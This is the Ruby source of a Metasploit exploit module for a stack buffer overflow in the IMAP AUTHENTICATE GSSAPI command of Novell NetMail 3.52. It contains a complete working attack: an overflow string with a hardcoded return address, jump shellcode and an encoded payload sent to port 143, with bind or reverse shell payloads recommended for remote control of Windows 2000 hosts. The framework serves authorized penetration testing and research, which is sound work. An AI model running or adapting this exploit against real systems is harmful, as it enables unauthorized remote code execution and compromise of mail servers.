Path: blob/master/modules/exploits/windows/imap/novell_netmail_auth.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell NetMail IMAP AUTHENTICATE Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE17GSSAPI command. By sending an overly long string, an attacker can overwrite the18buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp19or windows/shell_reverse_tcp allows for the most reliable results.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '55175' ]25],26'Privileged' => true,27'DefaultOptions' => {28'EXITFUNC' => 'thread',29'AllowWin32SEH' => true30},31'Payload' => {32'Space' => 850,33'BadChars' => "\x00\x20\x2c\x3a\x40",34'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",35'EncoderType' => Msf::Encoder::Type::AlphanumUpper,36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],40],41'DisclosureDate' => '2007-01-07',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([ Opt::RPORT(143) ])52end5354def exploit55connect56sock.get_once5758jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"59jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"60jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"6162sploit = "A001 AUTHENTICATE GSSAPI\r\n"63sploit << rand_text_alpha_upper(1258) + payload.encoded + "\xeb\x06"64sploit << rand_text_alpha_upper(2) + [target.ret].pack('V')65sploit << make_nops(8) + jmp + rand_text_alpha_upper(700)6667print_status("Trying target #{target.name}...")68sock.put(sploit + "\r\n" + "A002 LOGOUT\r\n")6970handler71disconnect72end73end747576